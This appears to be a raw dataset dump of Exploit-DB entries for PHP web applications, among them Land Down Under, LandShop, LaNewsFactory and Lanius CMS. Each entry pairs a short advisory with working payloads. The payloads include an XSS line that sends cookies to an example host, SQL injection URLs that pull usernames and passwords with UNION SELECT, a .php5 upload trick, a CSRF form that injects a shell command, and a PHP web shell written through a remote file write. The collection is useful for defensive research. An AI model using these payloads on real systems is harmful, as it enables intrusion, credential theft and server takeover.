deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26223
Description: Land Down Under 601/602/700/701/800/801 - 'events.php' HTML Injection
Type: webapps
Platform: php
Date: 2005-09-06
Author: conor.e.buckley

Exploit:
source: https://www.securityfocus.com/bid/14746/info

Land Down Under is prone to an HTML injection vulnerability.
This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<script>document.location="http://www.example.com/script?cookie="+escape(document.cookie)</script>
Exploit-DB #26206
Description: Land Down Under 700/701/800/801 - 'events.php?c' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-29
Author: matrix_killer

Exploit:
source: https://www.securityfocus.com/bid/14685/info
 
Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ldu/events.php?c='
http://www.example.com/ldu/events.php?f=incoming&c='
http://www.example.com/ldu/events.php?c=%27
http://www.example.com/ldu/events.php?f=incoming&c=%27
Exploit-DB #26205
Description: Land Down Under 700/701/800/801 - 'index.php?c' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-29
Author: matrix_killer

Exploit:
source: https://www.securityfocus.com/bid/14685/info

Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ldu/index.php?c='
http://www.example.com/ldu/index.php?c=%27
Exploit-DB #26207
Description: Land Down Under 700/701/800/801 - 'list.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-08-29
Author: matrix_killer

Exploit:
source: https://www.securityfocus.com/bid/14685/info
  
Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ldu/list.php?c='&s=title&w=asc&o=1&p=1
http://www.example.com/ldu/list.php?c=%27&s=title&w=asc&o=1&p=1
Exploit-DB #26182
Description: Land Down Under 800 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-20
Author: bl2k

Exploit:
source: https://www.securityfocus.com/bid/14619/info
 
Land Down Under is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ldu/index.php?c='><script>alert('test');</script>
http://www.example.com/ldu/index.php?m='><script>alert('test');</script>
Exploit-DB #26181
Description: Land Down Under 800 - 'journal.php?w' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-20
Author: bl2k

Exploit:
source: https://www.securityfocus.com/bid/14619/info

Land Down Under is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ldu/journal.php?m=home&s=username&w='><script>alert('test');</script>
Exploit-DB #26253
Description: Land Down Under 800/801 - 'auth.php?m' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-13
Author: GroundZero Security Research

Exploit:
source: https://www.securityfocus.com/bid/14820/info

Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/auth.php?m=all'%20;%20AND%20THIS=VULN
http://www.example.com/auth.php?m='%20;%20AND%20THIS=VULN
Exploit-DB #26180
Description: Land Down Under 800/801 - 'forums.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-08-20
Author: bl2k

Exploit:
source: https://www.securityfocus.com/bid/14618/info
   
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x='
http://www.example.com/ldu/forums.php?m=topics&q=3&n=' 
http://www.example.com/ldu/forums.php?m='&q=3&n=last 
http://www.example.com/ldu/forums.php?m=topics&s='
Exploit-DB #26178
Description: Land Down Under 800/801 - 'journal.php?m' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-20
Author: bl2k

Exploit:
source: https://www.securityfocus.com/bid/14618/info
 
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/journal.php?m='&s=username&w=asc
http://www.example.com/ldu/journal.php?m='&p=1
http://www.example.com/ldu/journal.php?m='
Exploit-DB #26177
Description: Land Down Under 800/801 - 'links.php?w' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-20
Author: bl2k

Exploit:
source: https://www.securityfocus.com/bid/14618/info

Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/links.php?c=links&s=title&w='
Exploit-DB #26179
Description: Land Down Under 800/801 - 'list.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-08-20
Author: bl2k

Exploit:
source: https://www.securityfocus.com/bid/14618/info
  
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/list.php?c=articles&s=title&w=asc&o='&p=1
http://www.example.com/ldu/list.php?c=articles&s=title&w='&o=1&p=1
http://www.example.com/ldu/list.php?c=articles&s='&w=asc&o=1&p=1
Exploit-DB #26254
Description: Land Down Under 800/801 - 'plug.php?e' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-13
Author: GroundZero Security Research

Exploit:
source: https://www.securityfocus.com/bid/14820/info
 
Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/plug.php?e=topitems';AND%20THIS=LAME
Exploit-DB #50681
Description: Landa Driving School Management System 2.0.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2022-01-24
Author: Sohel Yousef

Exploit:
# Exploit Title: Landa Driving School Management System 2.0.1 - Arbitrary File Upload
# Version 2.0.1
# Google Dork: N/A
# Date: 17/01/2022
# Exploit Author: Sohel Yousef - sohel.yousef@yandex.com
# Software Link: https://codecanyon.net/item/landa-driving-school-management-system/23220151
Landa Driving School Management System contain arbitrary file upload
registered user can upload .php5 files in attachments section with use of intercept tool in burbsuite to edit the raw

details 

POST /profile/attachment/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: ar,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 294983
Origin: https://localhost 
Connection: close
Referer: https://localhost/profile/91/
Cookie: CSRF-TOKEN=e9055e0cf3dbcbf383f7fdf46d418840fd395995ced9f3e1756bd9101edf0fcf; simcify=97a4436a6f7c5c5cd1fc43b903e3b760
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="name"

sddd
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="csrf-token"

e9055e0cf3dbcbf383f7fdf46d418840fd395995ced9f3e1756bd9101edf0fcf
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="userid"

91
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="attachment"; filename="w.php.png" >>>>>>>>>>>>>>>>  change this to w.php5
Content-Type: image/png


you will have a direct link to the uploaded files
Exploit-DB #33603
Description: LANDesk Management Gateway 4.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-05
Author: Aureliano Calvo

Exploit:
source: https://www.securityfocus.com/bid/38119/info

LANDesk Management Gateway is prone to a cross-site request-forgery vulnerability and a cross-site scripting vulnerability.

An attacker can exploit the cross-site request forgery issue to alter the settings on affected devices. This may lead to further network-based attacks, including command-injection attacks to the device's underlying operating system, which can lead to a complete compromise of a vulnerable device.

The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

<html> <head><title>LANDesk PoC</title></head> <body> <form method="post" action="https://www.example.com/gsb/datetime.php"> <input type="text" name="delBackupName" value="; touch /tmp/ATTACKED"> <input type="text" name="backupRestoreFormSubmitted" value="b"> <input type="submit" value="Attack!"> </form> </body> </html>
Exploit-DB #28950
Description: LandShop 0.6.3 - 'ls.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-09
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20989/info

LandShop is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application, and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.

http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&search_type=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&search_type=&infield=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=20&CAT_ID=1&keyword=&search_area=&search_type=&search_order=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
Exploit-DB #28951
Description: LandShop 0.6.3 - 'ls.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-11-09
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20989/info
 
LandShop is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application, and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=[sql] 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=[sql] http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&search_type=[sql] http://www.example.com/PATH/action/ls.phplang=en&action=list&start=20&CAT_ID=1&keyword=&search_area=&search_type=&search_order=[sql] 
http://www.example.com/PATH/action/ls.phpvariables =/PATH/action/ls.php?lang=en&action=list&CAT_ID=1&keyword=1&infield=[sql]
Exploit-DB #12361
Description: lanewsfactory - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-23
Author: Salvatore Fresta

Exploit:
LaNewsFactory Multiple Remote Vulnerabilities
http://www.salvatorefresta.net/files/adv/LaNewsFactory%20Multiple%20Remote%20Vulnerabilities-19042010.txt

 Name              LaNewsFactory
 Vendor            Christophe Brocas
 Versions Affected <= 1.0.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-04-19

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE
 

I. ABOUT THE APPLICATION

This  is  a  very used  news manager that  not require a
database.


II. DESCRIPTION

This news managment is affected  by many  vulnerabilities
that  allows  a  guest  to  write  arbitrary files on the
system, include local files, read local files etc..


III. ANALYSIS

Summary:

 A) Anonymous email
 B) Remote File Writing
 C) Multiple Local File Inclusion
 D) Full Path Disclosure

A) Anonymous email

The mailto.php file allows a guest to send arbitrary emails.
The input is not properly sanitised:

if (ValidEmailAdress($youremail) and ValidEmailAdress($friendemail))
{
	mail ($friendemail, $display[$lang]["mailtoafriend"],"$comments\n\n".$url."print".$LNF_file_extension."?art=$newsfilename\n\n$yourname", "From: $youremail");


B) Remote File Writing

The save-edited-news.php  file  allows a guest to write a
file  on the  system.  This  vulnerability may be used to
execute remote commands on the system.


C) Multiple Local File Inclusion

There are many files that use a not sanitised input with
include PHP function. This  vulnerability  may be used to
execute remote commands by including the Apache Log file.


D) Full Path Disclosure

For  example,   print.php  file  prints  many  errors  by
including the full path of the file.  This  path  may  be
very useful for local file inclusion and other.



IV. SAMPLE CODE

A) Anonymous email

	mailto.php?friendemail=target@email.com&youremail=ano@email.com&comments=suck!
	
	
B) Remote File Writing to Remote Command Execution

	save-edited-news.php?art=news/file.php&corps=<?php system($_GET[cmd]); ?>
	
	
D) Full Path Disclosure

	print.php?art=-1.xml


V. FIX

No fix.


VIII. DISCLOSURE TIMELINE

2010-04-19 Bugs discovered
2010-04-19 Advisory released
Exploit-DB #45672
Description: LANGO Codeigniter Multilingual Script 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-24
Author: Ismail Tasdelen

Exploit:
# Exploit Title: LANGO Codeigniter Multilingual Script 1.0 - Cross-Site Scripting
# Date: 2018-10-16
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: http://pokkho.com/lango/
# Software Link : http://pokkho.com/lango/auth/login
# Software : LANGO - Codeigniter Multilingual Script
# Version : 1.0
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS
# CVE : CVE-2018-18416

# LANGO Codeigniter Multilingual Script 1.0 has XSS in the input and upload sections, as demonstrated by the
# site_name parameter to the admin/settings/update URI.
 
# HTTP POST Request :

POST /lango/admin/settings/update HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/lango/admin/settings
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]910516947
Content-Length: 3150615
Cookie: csrf_cookie_name=4eeae5fca11e4ae108d667b67b52a0b3; ci_session=7ghu11a49n5ethf596t6g1ec5kfscncp
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]910516947
Content-Disposition: form-data; name="site_name"

"><h1>Ismail Tasdelen</h1>
----------------------------[PII_REDACTED][PII_REDACTED]910516947
Content-Disposition: form-data; name="site_title"

"><h1>Ismail Tasdelen</h1>
----------------------------[PII_REDACTED][PII_REDACTED]910516947
Content-Disposition: form-data; name="keywords"

Multilanguage ,Codeigniter Multilanguage Script,"><h1>Ismail Tasdelen</h1>
----------------------------[PII_REDACTED][PII_REDACTED]910516947
Content-Disposition: form-data; name="description"

"><h1>Ismail Tasdelen</h1>
----------------------------[PII_REDACTED][PII_REDACTED]910516947
Content-Disposition: form-data; name="photo1"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg
Exploit-DB #4258
Description: Lanius CMS 1.2.14 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-08-06
Author: k1tk4t

Exploit:
#######################################################################
###########                  newhack[dot]org                ############ 
########################################################################
# la-nai cms_v1.2.14 - Remote SQL Injection
# Vendor      : http://www.redlinesoft.net/module.php?modname=content&cid=9
# Download    : http://sourceforge.net/project/showfiles.php?group_id=191629
# Found By    : k1tk4t - k1tk4t[4t]newhack.org     [ http://newhack.org ]
# Location    : Indonesia
########################################################################
bug terdapat pada la-nai module
tested modules
-faq
-gallery
-ezshopingcart
dan kemungkinan terdapat pada module lainnya,
pada login site halaman depan, authentikasi login dapat di bypass
dengan menggunakan username yang terdapat pada database la-nai tbl_ln_user
dengan memberikan '/* contoh admin'/* <-- magic_quotes_gpc = off
########################################################################
exploit;
FAQ Modules
http://localhost/lanai-cms_v1.2.14/module.php?modname=faq&mf=faqviewgroup&mid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,userLogin,userPassword,5,6,7/**/FROM/**/tbl_ln_user/*
----
EZSHOPINGCART Modules
http://localhost/lanai-cms_v1.2.14/module.php?modname=ezshopingcart&ac=c&cid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,concat(userLogin,'-',userPassword),4,5/**/FROM/**/tbl_ln_user/*
----
GALLERY Modules
http://localhost/lanai-cms_v1.2.14/module.php?modname=gallery&mf=view&gid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,userLogin,userPassword,4/**/FROM/**/tbl_ln_user/*
########################################################################
Thanks;
str0ke
xoron [thank's for ur exploit]
y3dips [y3d1ps.blogspot.com]
-newhack[dot]org|staff-
mR.opt1lc, fusion, fl3xu5, PusHm0v, Ghoz, bius, iind_id, slackX
-----------------------
all member newhack[dot]org
-----------------------
all member echo.or.id
-----------------------
iFX, matdhule, nyubi, x-ace, and to all my friend
-----------------------
Sedih ngga bisa ikut PANHAC, titip salam aja buat temen2 yang ikut PANHAC

# milw0rm.com [2007-08-06]
Exploit-DB #30449
Description: Lanius CMS 1.2.14 EZSHOPINGCART Module - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-03
Author: k1tk4t

Exploit:
source: https://www.securityfocus.com/bid/25193/info
 
LANAI CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
LANAI CMS 1.2.14 is vulnerable; other versions may also be affected. 

http://www.example.com/module.php?modname=ezshopingcart&ac=c&cid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,concat(userLogin,'-',userPassword),4,5/**/FROM/**/tbl_ln_user/*
Exploit-DB #30448
Description: Lanius CMS 1.2.14 FAQ Module - 'mid' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-03
Author: k1tk4t

Exploit:
source: https://www.securityfocus.com/bid/25193/info

LANAI CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

LANAI CMS 1.2.14 is vulnerable; other versions may also be affected. 

http://www.example.com/module.php?modname=faq&mf=faqviewgroup&mid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,userLogin,userPassword,5,6,7/**/FROM/**/tbl_ln_user/*